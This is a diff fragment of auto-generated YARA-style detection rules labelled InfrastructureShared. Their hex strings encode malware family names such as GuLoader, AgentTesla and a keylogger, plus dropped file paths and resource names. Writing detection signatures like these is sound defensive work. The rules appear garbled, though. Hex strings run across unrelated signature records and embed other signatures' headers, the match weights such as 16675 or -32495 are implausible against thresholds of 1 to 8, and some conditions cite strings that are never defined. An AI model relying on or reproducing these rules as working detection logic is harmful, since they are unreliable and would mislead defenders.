21 23 41 4c 46 3a 59 32 56 3a 46 52 5f 41 4e 53 53 49 5f 53 44 4f 2f 41 50 54 5f 4d 41 4c 5f 53 61 6e 64 77 6f 72 6d 5f 45 78 61 72 61 6d 65 6c 5f 53 74 72 75 63 74 00 01 00 21 03 47 2d 28 42 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 70 90 04 07 01 00 58 90 04 07 01 00 90 00 01 00 21 03 46 6a 13 e2 90 04 01 03 00 2d 0f 90 01 02 19 90 } //0 + $a_00_11 = {30 } //1796 0 + $a_01_12 = {00 90 00 01 00 21 03 } //1168 + $a_84_13 = {04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 20 90 04 07 01 00 10 90 04 07 01 00 90 00 01 00 21 03 bf 35 0d f9 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 30 90 04 07 01 00 28 90 04 07 01 00 90 00 01 00 21 03 88 60 a1 c5 } //27259 condition: - ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*4352+(#a_72_2 & 1)*17247+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_f9_5 & 1)*0+(#a_00_7 & 1)*108+(#a_6d_8 & 1)*29811+(#a_00_10 & 1)*1796+(#a_01_11 & 1)*1168+(#a_e2_12 & 1)*27206+(#a_04_13 & 1)*12288) >=14 + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*4352+(#a_72_2 & 1)*17247+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_f8_5 & 1)*0+(#a_ff_6 & 1)*-8544+(#a_00_8 & 1)*67+(#a_f9_9 & 1)*0+(#a_00_11 & 1)*1796+(#a_01_12 & 1)*1168+(#a_84_13 & 1)*27259) >=14 } -rule _InfrastructureShared_15886{ +rule _InfrastructureShared_16930{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4d 52 21 4d 54 42 00 14 00 3a 03 8b f1 89 74 24 04 c7 06 60 60 40 00 8d 8e 40 01 00 00 c7 44 24 10 01 00 00 00 e8 90 01 04 8d 8e c0 00 00 00 c6 } //21539 + $a_00_1 = {e8 90 01 04 8b ce c7 44 24 10 ff ff ff ff e8 90 } //9284 + $a_76_3 = {00 32 c3 3c 3a 88 84 35 a0 de ff ff 77 90 01 01 fe c8 88 84 35 a0 de ff ff 90 00 14 00 23 01 8b 56 64 83 c1 0c 8d 04 d5 1f 00 00 00 99 83 e2 1f 03 c2 8b 56 68 c1 f8 05 c1 e0 02 0f af d0 4f 89 56 54 14 00 41 01 8b 44 24 18 25 ff ff 00 00 8b fd 83 c4 04 89 6c 24 5c 8d 0c 40 33 c0 c1 e1 02 8b d1 c1 e9 02 f3 ab 8b ca 83 e1 03 f3 aa 8b 44 24 14 8d 4c 24 30 25 ff ff 00 00 8d 04 40 c1 e0 } //-31094 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9284+(#a_76_3 & 1)*-31094) >=80 + +} +rule _InfrastructureShared_16931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -185543,7 +197974,7 @@ rule _InfrastructureShared_15886{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28015+(#a_61_2 & 1)*26479+(#a_04_3 & 1)*16936) >=1 } -rule _InfrastructureShared_15887{ +rule _InfrastructureShared_16932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -185555,7 +197986,7 @@ rule _InfrastructureShared_15887{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*1796+(#a_e2_4 & 1)*27206) >=1 } -rule _InfrastructureShared_15888{ +rule _InfrastructureShared_16933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -185566,7 +197997,7 @@ rule _InfrastructureShared_15888{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*257) >=2 } -rule _InfrastructureShared_15889{ +rule _InfrastructureShared_16934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -185581,7 +198012,7 @@ rule _InfrastructureShared_15889{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_ff_2 & 1)*-32509+(#a_00_3 & 1)*115+(#a_00_4 & 1)*65+(#a_00_6 & 1)*0) >=2 } -rule _InfrastructureShared_15890{ +rule _InfrastructureShared_16935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185593,7 +198024,7 @@ rule _InfrastructureShared_15890{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*19456+(#a_61_2 & 1)*25924) >=3 } -rule _InfrastructureShared_15891{ +rule _InfrastructureShared_16936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185603,7 +198034,7 @@ rule _InfrastructureShared_15891{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15892{ +rule _InfrastructureShared_16937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185613,7 +198044,7 @@ rule _InfrastructureShared_15892{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15893{ +rule _InfrastructureShared_16938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -185624,7 +198055,7 @@ rule _InfrastructureShared_15893{ ((#a_46_0 & 1)*16675+(#a_2f_2 & 1)*16896) >=4 } -rule _InfrastructureShared_15894{ +rule _InfrastructureShared_16939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -185637,7 +198068,7 @@ rule _InfrastructureShared_15894{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*22380+(#a_61_2 & 1)*27973+(#a_00_4 & 1)*47) >=4 } -rule _InfrastructureShared_15895{ +rule _InfrastructureShared_16940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -185650,7 +198081,7 @@ rule _InfrastructureShared_15895{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*97+(#a_02_3 & 1)*95+(#a_00_5 & 1)*110) >=4 } -rule _InfrastructureShared_15896{ +rule _InfrastructureShared_16941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -185666,7 +198097,7 @@ rule _InfrastructureShared_15896{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*282+(#a_00_2 & 1)*93+(#a_6f_3 & 1)*21562+(#a_17_4 & 1)*-25390+(#a_05_5 & 1)*12800+(#a_01_6 & 1)*5631) >=4 } -rule _InfrastructureShared_15897{ +rule _InfrastructureShared_16942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -185677,7 +198108,7 @@ rule _InfrastructureShared_15897{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*4952) >=5 } -rule _InfrastructureShared_15898{ +rule _InfrastructureShared_16943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -185690,7 +198121,7 @@ rule _InfrastructureShared_15898{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*225+(#a_66_2 & 1)*20303+(#a_64_3 & 1)*21588) >=5 } -rule _InfrastructureShared_15899{ +rule _InfrastructureShared_16944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -185704,7 +198135,7 @@ rule _InfrastructureShared_15899{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*20303+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_15900{ +rule _InfrastructureShared_16945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -185718,7 +198149,7 @@ rule _InfrastructureShared_15900{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_50_3 & 1)*16729+(#a_6a_4 & 1)*29268+(#a_6f_5 & 1)*17921) >=5 } -rule _InfrastructureShared_15901{ +rule _InfrastructureShared_16946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -185733,7 +198164,7 @@ rule _InfrastructureShared_15901{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29557+(#a_30_2 & 1)*19304+(#a_74_3 & 1)*29295+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_15902{ +rule _InfrastructureShared_16947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -185750,7 +198181,7 @@ rule _InfrastructureShared_15902{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*30575+(#a_00_2 & 1)*12643+(#a_74_3 & 1)*29185+(#a_72_4 & 1)*31077+(#a_6d_5 & 1)*27240+(#a_75_6 & 1)*12082+(#a_6c_7 & 1)*25966) >=6 } -rule _InfrastructureShared_15903{ +rule _InfrastructureShared_16948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -185766,7 +198197,7 @@ rule _InfrastructureShared_15903{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25710+(#a_72_2 & 1)*24946+(#a_6a_3 & 1)*21852+(#a_61_4 & 1)*26996+(#a_76_5 & 1)*19295+(#a_53_6 & 1)*16641) >=7 } -rule _InfrastructureShared_15904{ +rule _InfrastructureShared_16949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -185782,7 +198213,7 @@ rule _InfrastructureShared_15904{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*27760+(#a_74_2 & 1)*28277+(#a_69_3 & 1)*26982+(#a_00_4 & 1)*112+(#a_78_5 & 1)*12646+(#a_52_6 & 1)*1792) >=7 } -rule _InfrastructureShared_15905{ +rule _InfrastructureShared_16950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -185792,13 +198223,13 @@ rule _InfrastructureShared_15905{ $a_73_2 = {6f 6d 6f 75 73 65 01 00 0b 01 47 65 74 44 65 65 70 49 6e 66 6f 01 00 0b 01 41 45 53 5f 45 6e 63 72 79 70 74 01 00 0d 01 53 74 61 72 74 55 44 50 46 6c 6f 6f 64 01 00 18 01 42 00 41 00 54 00 53 00 63 00 72 00 69 00 70 00 74 00 69 00 6e 00 67 00 01 00 2a 01 46 00 42 00 71 00 49 00 4e 00 68 00 52 00 64 00 70 00 67 00 } //25601 $a_00_3 = {41 00 54 00 78 00 4a 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 12 01 6d 00 61 00 67 00 69 00 63 00 5f 00 6b 00 65 00 79 00 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 35 2d 30 39 66 31 75 78 6d 21 45 4d 4c 00 01 00 1c 00 4b 00 6f 00 63 00 68 00 2e 00 52 00 65 00 73 00 6f } //110 $a_00_5 = {73 00 01 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 25 01 24 31 33 31 34 36 33 63 38 2d 30 31 32 34 2d 34 38 39 63 2d 39 32 33 63 2d 34 65 38 66 62 38 63 61 36 31 66 37 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 01 52 65 70 6c 61 63 65 01 00 12 01 49 53 75 70 70 } //99 - $a_49_6 = {69 74 69 61 6c 69 7a 65 01 00 18 01 4b 6f 63 68 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 00 78 f9 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 31 00 01 00 10 01 4f 00 } //29295 - $a_00_7 = {4d 00 69 00 6e 00 75 00 73 00 01 00 0e 01 4f 00 65 00 6d 00 70 00 6c 00 75 00 73 00 01 00 1e 01 4f 00 65 00 6d 00 4f 00 70 00 65 00 6e 00 42 00 72 00 61 00 63 00 6b 00 65 00 74 00 73 00 01 00 08 01 4f 00 65 00 6d 00 36 00 01 00 08 01 4f 00 65 00 6d 00 35 00 01 00 08 01 4f 00 65 00 6d 00 31 00 01 00 08 01 4f 00 65 00 6d 00 37 } //101 + $a_49_6 = {69 74 69 61 6c 69 7a 65 01 00 18 01 4b 6f 63 68 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 44 21 4d 54 42 00 01 00 } //29295 + $a_5c_7 = {61 } //-32495 a condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*21571+(#a_73_2 & 1)*25601+(#a_00_3 & 1)*110+(#a_00_5 & 1)*99+(#a_49_6 & 1)*29295+(#a_00_7 & 1)*101) >=8 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*21571+(#a_73_2 & 1)*25601+(#a_00_3 & 1)*110+(#a_00_5 & 1)*99+(#a_49_6 & 1)*29295+(#a_5c_7 & 1)*-32495) >=8 } -rule _InfrastructureShared_15906{ +rule _InfrastructureShared_16951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -185806,15 +198237,63 @@ rule _InfrastructureShared_15906{ $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 35 2d 30 39 66 31 75 78 6d 21 45 4d 4c 00 01 00 1c 00 4b 00 6f 00 63 00 68 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 10 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 } //18467 $a_24_2 = {33 } //9472 3 $a_33_3 = {38 2d 30 31 32 34 2d 34 38 39 63 2d 39 32 33 63 2d 34 65 38 66 62 38 63 61 36 31 66 37 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 01 52 65 70 } //13361 - $a_65_4 = {00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 18 01 4b 6f 63 68 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 00 78 f9 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 4d 53 } //24940 - $a_50_5 = {73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 31 00 01 00 10 01 4f 00 65 00 6d 00 4d 00 69 00 6e 00 75 00 73 00 01 00 0e 01 4f 00 65 00 } //19529 - $a_00_6 = {6c 00 75 00 73 00 01 00 1e 01 4f 00 65 00 6d 00 4f 00 70 00 65 00 6e 00 42 00 72 00 61 00 63 00 6b 00 65 00 74 00 73 00 01 00 08 01 4f 00 65 00 6d 00 36 00 01 00 08 01 4f 00 65 00 6d 00 35 00 01 00 08 01 4f 00 65 00 6d 00 31 00 01 00 08 01 4f 00 65 00 6d 00 37 00 01 00 10 01 4f 00 65 00 6d 00 63 00 6f 00 6d 00 6d 00 61 00 01 00 12 01 } //109 - $a_00_7 = {6d 00 50 00 65 00 72 00 69 00 6f 00 64 00 01 00 16 01 4f 00 65 00 6d 00 51 00 75 00 65 00 73 00 74 00 69 00 6f 00 6e 00 01 00 10 01 4f 00 65 00 6d 00 74 00 69 00 6c 00 64 00 65 00 00 00 78 f9 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //79 + $a_65_4 = {00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 18 01 4b 6f 63 68 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //24940 + $a_6e_5 = {57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 44 21 4d 54 42 00 01 00 11 81 01 5c 53 61 72 63 6c 65 31 36 30 5c 73 61 6e 65 72 65 01 00 0e 81 01 5c 42 6f 6e 64 65 73 6e 35 32 2e 6c 6e 6b 01 00 0e 81 01 5c 74 72 61 70 70 65 72 6e 65 2e 65 78 65 01 00 19 81 01 5c 42 61 74 68 75 72 73 74 } //27247 + $a_73_6 = {72 61 64 65 32 31 39 2e 7a 69 70 01 00 1b 81 01 5c 54 61 6c 65 68 72 65 75 6e 64 65 72 76 69 73 6e 69 6e 67 65 6e 73 2e 68 74 6d 01 00 1a 81 01 5c 62 65 64 65 73 6c 61 67 65 6e 65 5c 62 61 67 62 69 6e 64 65 73 2e 69 6e 69 01 00 1d 81 01 5c 6e 6f 6e 61 6e 61 6c 6f 67 69 63 61 6c 5c 65 78 74 72 61 63 74 69 6f 6e 2e } //17500 + $a_01_7 = {00 0c 81 01 61 67 69 73 74 69 6e 67 2e 74 78 74 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 54 21 4d 54 42 00 01 00 18 81 01 5c 72 65 65 64 75 63 61 74 69 76 65 5c 48 61 6d 70 65 67 61 72 6e 65 72 01 00 1a 81 01 5c 4f 70 } //26983 condition: - ((#a_54_0 & 1)*18467+(#a_24_2 & 1)*9472+(#a_33_3 & 1)*13361+(#a_65_4 & 1)*24940+(#a_50_5 & 1)*19529+(#a_00_6 & 1)*109+(#a_00_7 & 1)*79) >=8 + ((#a_54_0 & 1)*18467+(#a_24_2 & 1)*9472+(#a_33_3 & 1)*13361+(#a_65_4 & 1)*24940+(#a_6e_5 & 1)*27247+(#a_73_6 & 1)*17500+(#a_01_7 & 1)*26983) >=8 } -rule _InfrastructureShared_15907{ +rule _InfrastructureShared_16952{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 44 21 4d 54 42 00 01 00 11 81 01 5c 53 61 72 63 6c 65 31 36 30 5c 73 61 6e 65 72 65 01 00 0e 81 01 5c 42 6f 6e 64 65 73 6e 35 32 2e 6c 6e 6b 01 00 0e 81 01 5c 74 72 61 70 70 } //18467 + $a_65_1 = {65 78 65 01 00 19 81 01 5c 42 61 74 68 75 72 73 74 5c 44 69 73 67 72 61 64 65 32 31 39 2e 7a 69 70 01 00 1b 81 01 5c 54 61 6c 65 68 72 65 75 6e 64 65 72 76 69 73 6e 69 6e 67 65 6e 73 2e 68 74 6d 01 00 1a 81 01 5c 62 65 64 65 73 6c 61 67 65 6e 65 5c 62 61 67 62 69 6e 64 65 73 2e 69 6e 69 01 00 1d 81 01 5c 6e 6f 6e 61 6e 61 6c 6f } //29285 + $a_61_2 = {5c 65 78 74 72 61 63 74 69 6f 6e 2e 67 69 66 01 00 0c 81 01 61 67 69 73 74 69 6e 67 2e 74 78 74 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 54 21 4d 54 42 00 01 00 18 81 01 5c 72 65 65 64 75 63 61 74 69 76 65 5c } //26983 + $a_70_3 = {67 61 72 6e 65 72 01 00 1a 81 01 5c 4f 70 70 6f 72 74 75 6e 65 6c 79 5c 73 6d 61 61 6c 69 67 65 73 2e 68 74 6d 01 00 1c 81 01 5c 6b 6f 6e 74 6f 75 64 74 6f 67 65 74 5c 52 64 73 74 6a 72 74 65 72 73 2e 69 6e 69 01 00 11 81 01 50 65 6e 74 65 63 6f 73 74 79 73 2e 44 61 72 33 36 01 00 0d 81 01 43 72 61 74 65 72 6b 69 6e 2e 69 6e } //24904 + $a_6c_5 = {63 68 69 64 69 75 6d 38 35 2e 6a 70 67 01 00 18 81 01 64 69 61 67 6e 6f 73 74 69 63 65 72 69 6e 67 65 72 6e 65 73 2e 61 6c 66 01 00 10 81 01 5c 43 6f 6e 73 65 71 75 65 6e 74 69 61 6c 34 38 00 00 78 f9 00 00 08 00 } //385 + $a_00_6 = {21 23 48 53 54 52 3a 54 } //8 !#HSTR:T + $a_61_7 = {3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 55 41 21 4d 54 42 00 01 00 23 81 01 5c 77 61 74 65 72 6c 61 6e 64 65 72 5c 70 69 72 6f 70 6c 61 73 6d 61 74 61 5c 65 78 70 65 6c 6c 69 6e 67 01 00 1f 81 01 5c 68 65 72 6d 65 6c 69 6e 73 73 6b 69 6e 64 65 74 5c 74 75 72 6e 68 61 6c 6c 73 2e 64 6c 6c 01 00 11 81 01 5c } //28530 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_61_2 & 1)*26983+(#a_70_3 & 1)*24904+(#a_6c_5 & 1)*385+(#a_00_6 & 1)*8+(#a_61_7 & 1)*28530) >=8 + +} +rule _InfrastructureShared_16953{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 54 21 4d 54 42 00 01 00 18 81 01 5c 72 65 65 64 75 63 61 74 69 76 65 5c 48 61 6d 70 65 67 61 72 6e 65 72 01 00 1a 81 01 5c 4f 70 70 6f 72 74 75 6e 65 6c 79 5c 73 6d 61 61 6c } //18467 + $a_73_1 = {68 74 6d 01 00 1c 81 01 5c 6b 6f 6e 74 6f 75 64 74 6f 67 65 74 5c 52 64 73 74 6a 72 74 65 72 73 2e 69 6e 69 01 00 11 81 01 50 65 6e 74 65 63 6f 73 74 79 73 2e 44 61 72 33 36 01 00 0d 81 01 43 72 61 74 65 72 6b 69 6e 2e 69 6e 69 01 00 10 81 01 47 6c 6f 63 68 69 64 69 75 6d 38 35 2e 6a 70 67 01 00 18 81 } //26473 + $a_61_2 = {6e 6f 73 74 69 63 65 72 69 6e 67 65 72 6e 65 73 2e 61 6c 66 01 00 10 81 01 5c 43 6f 6e 73 65 71 75 65 6e 74 69 61 6c 34 38 00 00 78 f9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 55 41 21 4d 54 42 00 01 00 23 81 01 5c 77 61 74 65 72 6c 61 6e 64 } //25601 + $a_70_3 = {72 6f 70 6c 61 73 6d 61 74 61 5c 65 78 70 65 6c 6c 69 6e 67 01 00 1f 81 01 5c 68 65 72 6d 65 6c 69 6e 73 73 6b 69 6e 64 65 74 5c 74 75 72 6e 68 61 6c 6c 73 2e 64 6c 6c 01 00 11 81 01 5c 69 73 6f 63 68 72 6f 6e 69 7a 65 64 2e 68 74 6d 01 00 0e 81 01 5c 62 61 61 64 70 6c 61 64 } //29285 + $a_69_4 = {01 00 10 81 01 4b 75 6c 74 69 76 77 79 72 31 30 31 2e 69 6e 69 01 00 16 81 01 61 64 67 61 6e 67 73 74 69 6c 6c 61 64 65 6c 73 65 72 2e 6a 70 67 01 00 0f 81 01 65 6e 76 6f 79 73 74 65 72 6e 65 2e 69 6e 69 01 00 0e 81 01 7a 6f 6f 67 65 6e 65 73 69 73 2e 6a 70 67 00 00 78 f9 00 00 08 00 08 00 0b } //11891 + $a_48_5 = {54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 31 00 01 00 10 01 4f 00 } //8448 + $a_00_6 = {4d 00 69 00 6e 00 75 00 73 00 01 00 0e 01 4f 00 65 00 6d 00 70 00 6c 00 75 00 73 00 01 00 1e 01 4f 00 65 00 6d 00 4f 00 70 00 65 00 6e 00 42 00 72 00 61 00 63 00 6b 00 65 00 74 00 73 00 01 00 08 01 4f 00 65 00 6d 00 36 00 01 00 08 01 4f 00 65 00 6d 00 35 00 01 00 08 01 4f 00 65 00 6d 00 31 00 01 00 08 01 4f 00 65 00 6d 00 37 } //101 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26473+(#a_61_2 & 1)*25601+(#a_70_3 & 1)*29285+(#a_69_4 & 1)*11891+(#a_48_5 & 1)*8448+(#a_00_6 & 1)*101) >=8 + +} +rule _InfrastructureShared_16954{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 55 41 21 4d 54 42 00 01 00 23 81 01 5c 77 61 74 65 72 6c 61 6e 64 65 72 5c 70 69 72 6f 70 6c 61 73 6d 61 74 61 5c 65 78 70 65 6c 6c 69 6e 67 01 00 1f 81 01 5c 68 65 72 6d 65 6c } //18467 + $a_73_1 = {69 6e 64 65 74 5c 74 75 72 6e 68 61 6c 6c 73 2e 64 6c 6c 01 00 11 81 01 5c 69 73 6f 63 68 72 6f 6e 69 7a 65 64 2e 68 74 6d 01 00 0e 81 01 5c 62 61 61 64 70 6c 61 64 73 2e 62 69 6e 01 00 10 81 01 4b 75 6c 74 69 76 77 79 72 31 30 31 2e 69 6e 69 01 00 16 81 01 61 64 67 61 6e 67 73 74 69 6c 6c 61 64 65 6c 73 65 72 2e 6a 70 67 01 00 0f 81 01 65 6e } //28265 + $a_73_2 = {65 72 6e 65 2e 69 6e 69 01 00 0e 81 01 7a 6f 6f 67 65 6e 65 73 69 73 2e 6a 70 67 00 00 78 f9 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 31 00 01 00 10 01 4f 00 65 00 6d 00 4d 00 69 00 6e 00 75 00 73 00 01 00 0e 01 4f 00 65 00 6d 00 70 00 6c 00 75 00 73 00 01 00 1e 01 4f 00 65 00 6d 00 4f } //28534 + $a_00_4 = {72 00 61 00 63 00 6b 00 65 00 74 00 73 00 01 00 08 01 4f 00 65 00 6d 00 36 00 01 00 08 01 4f 00 65 00 6d 00 35 00 01 00 08 01 4f 00 65 00 6d 00 31 00 01 00 08 01 4f 00 65 00 6d 00 37 00 01 00 10 01 } //110 + $a_00_5 = {6d 00 63 00 6f 00 6d 00 6d 00 61 00 01 00 12 01 4f 00 65 00 6d 00 50 00 65 00 72 00 69 00 6f 00 64 00 01 00 16 01 4f 00 65 00 6d 00 51 00 75 00 65 00 73 00 74 00 69 00 6f 00 6e 00 01 00 10 01 4f 00 65 00 6d 00 74 00 69 00 6c 00 64 00 65 00 00 00 78 f9 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f } //79 + $a_3a_6 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 41 47 21 4d 53 52 00 01 00 13 80 01 41 73 73 65 6d 62 6c 79 00 73 61 37 58 69 48 70 72 68 30 01 00 11 80 01 46 69 6c 65 00 52 65 61 64 41 6c 6c 42 79 74 65 73 01 00 1b 80 01 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 2e 70 64 62 01 00 18 80 01 43 6f 6d 70 } //24938 + $a_6e_7 = {52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 06 80 01 42 69 74 6d 61 70 01 00 1b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 13 80 01 7a 6e 48 77 37 61 4f 4e 6e 54 6e 63 58 64 51 35 58 79 55 01 00 0a 80 01 65 4d 54 58 57 34 34 65 70 37 01 00 0a 80 } //28271 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28265+(#a_73_2 & 1)*28534+(#a_00_4 & 1)*110+(#a_00_5 & 1)*79+(#a_3a_6 & 1)*24938+(#a_6e_7 & 1)*28271) >=8 + +} +rule _InfrastructureShared_16955{ meta: description = 